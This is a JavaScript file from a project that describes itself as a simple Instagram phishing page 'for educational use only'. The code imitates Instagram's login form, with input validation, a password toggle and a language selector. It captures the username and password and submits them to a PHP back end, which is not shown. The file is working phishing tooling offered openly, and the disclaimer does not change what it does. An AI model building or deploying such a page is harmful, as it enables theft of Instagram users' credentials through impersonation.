A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.
1// Check for php server availability
2async function checkPhpServer(username, password) {
3 try {
4 const response = await fetch('/app/server.check.php');
5 if (!response.ok) throw new Error('No PHP server');
6 const text = await response.text();
7 if (text.trim() !== 'PHP_OK') throw new Error('PHP check failed');
8
9 return true;
10 } catch (error) {
11 alert(`Sorry there is no PHP server running right now, here are your credentials btw:\nUsername: ${username}\nPassword: ${password}`);
12 location.reload();
13 return false;
14 }
15}
16
17// Clear all inputs in the form when submitted
18const form = document.querySelector("form");
19
20form.addEventListener('submit', async (event) => {
21 event.preventDefault();
22
23 const username = form.elements['username'].value;
24 const password = form.elements['password'].value;
25
26 const phpIsRunning = await checkPhpServer(username, password);
27 if (!phpIsRunning) return;
28
29 form.submit();
30});
31
32document.addEventListener("DOMContentLoaded", () => {
33 const usernameInput = document.getElementById("username");
34 const passwordInput = document.getElementById("password");
35 const loginButton = document.querySelector(".login-btn");
36 const togglePassword = document.getElementById("togglePassword");
37 const yearSpan = document.getElementById("current-year");
38 const select = document.getElementById("language-select");
39 const measureSpan = document.getElementById("language-measure");
40
41 if (yearSpan) {
42 yearSpan.textContent = new Date().getFullYear();
43 }
44
45 function validateInputs() {
46 const username = usernameInput.value.trim();
47 const password = passwordInput.value;
48
49 loginButton.disabled = !(username !== "" && password.length > 8);
50
51 // Show toggle button only if password is not empty
52 if (password.length > 0) {
53 togglePassword.style.display = "block";
54 } else {
55 togglePassword.style.display = "none";
56 passwordInput.type = "password";
57 togglePassword.textContent = "Show";
58 }
59 }
60
61 function updateSelectWidth() {
62 // Set the span's text to selected option
63 const selectedText = select.options[select.selectedIndex].text;
64 measureSpan.textContent = selectedText;
65
66 // Get computed width and add padding for dropdown arrow
67 const width = measureSpan.offsetWidth + 25;
68 select.style.width = width + "px";
69 }
70
71 updateSelectWidth();
72
73 select.addEventListener("change", updateSelectWidth);
74
75 usernameInput.addEventListener("input", validateInputs);
76 passwordInput.addEventListener("input", validateInputs);
77
78 validateInputs();
79
80 togglePassword.addEventListener("click", () => {
81 const isPassword = passwordInput.type === "password";
82 passwordInput.type = isPassword ? "text" : "password";
83 togglePassword.textContent = isPassword ? "Hide" : "Show";
84 });
85});